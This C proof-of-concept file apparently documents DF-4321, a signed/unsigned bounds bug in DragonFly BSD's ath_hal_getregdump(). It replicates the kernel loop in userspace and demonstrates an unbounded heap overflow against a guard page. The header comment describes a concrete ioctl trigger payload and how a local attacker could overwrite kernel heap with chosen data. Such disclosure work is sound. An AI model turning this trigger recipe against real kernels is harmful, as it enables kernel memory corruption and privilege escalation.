/*
 * DF-4321 PoC — exact replica of ath_hal_getregdump() (DragonFly
 * sys/dev/netif/ath/ath_hal/ah.c:841-863) demonstrating an UNBOUNDED,
 * attacker-length kernel-heap out-of-bounds WRITE caused by a
 * signed/unsigned comparison error.
 *
 * The kernel code (verbatim structure; `space` is a signed int):
 *
 *   for (i = 0; space >= 2*sizeof(uint32_t); i++) {         (A)
 *       uint32_t r = regs[i].start;
 *       uint32_t e = regs[i].end;
 *       *dp++ = r; *dp++ = e;
 *       space -= 2*sizeof(uint32_t);
 *       do {                                                 (B) unchecked
 *           *dp++ = OS_REG_READ(ah, r);                      first write
 *           r += sizeof(uint32_t);
 *           space -= sizeof(uint32_t);
 *       } while (r <= e && space >= sizeof(uint32_t));       (C)
 *   }
 *
 * sizeof() yields size_t, so comparisons (A) and (C) convert `space` to
 * UNSIGNED: once space goes negative it becomes ~2^63 and (C)/(A) are
 * forever TRUE. The inner loop is then bounded only by the attacker's
 * register-range end; the outer loop only by the end of the attacker's
 * regs[] array. Only check (B) can push space negative: an outer
 * iteration that begins with space==8 writes its 8-byte header, and the
 * do-while's FIRST, unconditionally-executed register write then takes
 * space to -4 — after which no space check can ever fail again.
 *
 * Trigger (matches a real ioctl payload):
 *   ad_out_size = 32      -> kernel kmalloc(32)
 *   regs[0] = {0x8000, 0x8000+12}   (header + 4 values = 24 bytes, space -> 8)
 *   regs[1..N] = {0x9000, 0x9000}   (12 bytes each; range 1's header takes
 *                                    space 8->0, its first value 0->-4;
 *                                    every later range is pure overflow)
 * Total written: 24 + 12*N bytes into a 32-byte buffer; each overflowed
 * word is a device register value (attacker-chosen register address), so
 * a local attacker who knows a register's contents (e.g. AR_STA_ID0 =
 * the NIC MAC, AR_BSS_ID0 = the associated BSSID) overwrites adjacent
 * kernel heap objects with KNOWN data, at a CHOSEN length.
 *
 * This harness runs the bug-faithful replica against a 32-byte buffer at
 * the start of a page followed by a PROT_NONE guard page and measures
 * how far past the buffer the writes go before faulting.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>

typedef struct { uint32_t start; uint32_t end; } HAL_REGRANGE;

#define NRANGES 4096
static uint32_t mock_reg_value = 0xA5A5A5A5;	/* OS_REG_READ stand-in */
static volatile char *g_next;			/* next store address */
static sigjmp_buf jmp;
static void segv(int sig) { siglongjmp(jmp, 1); }

/* Bug-faithful replica of the kernel loop — expressions exactly as in
 * sys/dev/netif/ath/ath_hal/ah.c (int `space`, size_t sizeof()'s). */
static size_t
getregdump_replica(const HAL_REGRANGE *regs, void *dstbuf, int space)
{
	uint32_t *dp = dstbuf;
	int i;

	for (i = 0; space >= 2 * sizeof(uint32_t); i++) {
		uint32_t r = regs[i].start;
		uint32_t e = regs[i].end;
		g_next = (char *)dp; *dp++ = r;
		g_next = (char *)dp; *dp++ = e;
		space -= 2 * sizeof(uint32_t);
		do {
			g_next = (char *)dp; *dp++ = mock_reg_value;
			r += sizeof(uint32_t);
			space -= sizeof(uint32_t);
		} while (r <= e && space >= sizeof(uint32_t));	/* THE BUG */
	}
	return (size_t)((char *)dp - (char *)dstbuf);
}

int main(void)
{
	unsigned char *map;
	static HAL_REGRANGE regs[NRANGES];
	size_t n;
	struct sigaction sa;

	map = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE,
	    MAP_PRIVATE | MAP_ANON, -1, 0);
	if (map == MAP_FAILED) { perror("mmap"); return 1; }
	if (mprotect(map + 4096, 4096, PROT_NONE) != 0) { perror("mprotect"); return 1; }
	memset(map, 0xEE, 4096);

	/* attacker ioctl payload: outsize=32, range0 eats 24 bytes,
	 * ranges 1.. keep writing 12 bytes each forever */
	regs[0].start = 0x8000; regs[0].end = 0x8000 + 3 * 4;
	for (int i = 1; i < NRANGES; i++) {
		regs[i].start = 0x9000;
		regs[i].end = 0x9000;
	}

	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = segv;
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);

	printf("DF-4321: ath_hal_getregdump() signed/unsigned bounds bug\n");
	printf("buffer: 32 bytes at %p, guard page at %p\n", map, map + 4096);
	printf("payload: outsize=32; regs[0]={0x8000,0x800c}, "
	    "regs[1..%d]={0x9000,0x9000}\n", NRANGES - 1);
	printf("legitimately writable: 32 bytes (8 header + 6 values)\n\n");

	if (sigsetjmp(jmp, 1) == 0) {
		n = getregdump_replica(regs, map, 32);
		printf("loop returned normally: %zu bytes written "
		    "(buffer was 32)\n", n);
	} else {
		ptrdiff_t off = g_next - (char *)map;
		printf("=> WROTE PAST THE GUARD PAGE (fault at +4KB)\n");
		printf("   bytes written before fault: %ld "
		    "(buffer was 32) = %ld-byte overflow\n",
		    (long)off, (long)(off - 32));
	}
	printf("first 16 bytes past the 32-byte buffer (offset 32..48): ");
	for (int k = 32; k < 48; k++)
		printf("%02x", map[k]);
	printf("  <- 0xA5A5A5A5 'register value' words smeared over heap\n");
	return 0;
}
